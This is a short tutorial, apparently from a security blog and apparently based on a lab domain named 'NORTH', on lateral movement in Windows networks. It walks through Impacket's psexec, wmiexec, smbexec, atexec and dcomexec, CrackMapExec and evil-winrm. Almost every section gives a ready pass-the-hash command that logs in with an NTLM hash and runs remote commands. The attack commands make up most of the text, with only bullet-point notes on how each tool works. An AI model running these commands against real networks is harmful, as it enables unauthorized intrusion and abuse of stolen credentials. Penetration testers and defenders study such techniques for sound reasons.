Lateral Move with impacket

Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object-oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library.

Let's clarify the most important ones.

Impacket - PsExec

PsExec:

Upload executable file

• Create a service running the executable file
• Communicate via namedPipe
• Protocol: SMB

psexec -hashes  ':cba36eccfd9d949c73bc73715364aff5'  NORTH/[email protected]        

Impacket - WmiExec

WmiExec (pseudo terminal):

• Create a new process via wmi
• Create a file to get the command results, read the file with smb, and delete it
• Protocol: DCERPC + SMB

wmiexec.py -hashes  ':cba36eccfd9d949c73bc73715364aff5'  NORTH/[email protected]        

Impacket - SmbExec

SmbExec (pseudo terminal):

• No need to upload files
• Create service on every request
• Get command results on a shared or attacker-controlled server (use -mode SERVER)
• Protocol: SMB

smbexec.py -hashes  ':cba36eccfd9d949c73bc73715364aff5'  NORTH/[email protected]        

Impacket - AtExec

AtExec (execute command):

• Create a scheduled task to execute commands
• Protocol: SMB

atexec.py -hashes  ':cba36eccfd9d949c73bc73715364aff5'  NORTH/[email protected] whoami        

Impacket - DcomExec

DecomExec (Distributed Component Object Model):

• Pseudo-terminal (get results using files via smb)
• Protocol: DCERPC + SMB

dcomexec.py -hashes  ':cba36eccfd9d949c73bc73715364aff5'  NORTH/[email protected]        

Lateral Move with CME

cme smb  192 .168.xx.xx -H  ':cba36eccfd9d949c73bc73715364aff5'  -d  'north'  -u  'catelyn.stark'  -x whoami        

• By default, cme only checks if smb admin$ is writable. If this is the case, display "pwned".
• For executing cme, use the -x option and by default use the wmiexec impacket method

Winrm

• Winrm (Windows Remote Management)
• Protocol: HTTP or HTTPS

evil-winrm -i  192 .168.xx.xx -u catelyn.stark -H  'cba36eccfd9d949c73bc73715364aff5'         

I hope you enjoyed reading and I will be pleased if you have any feedback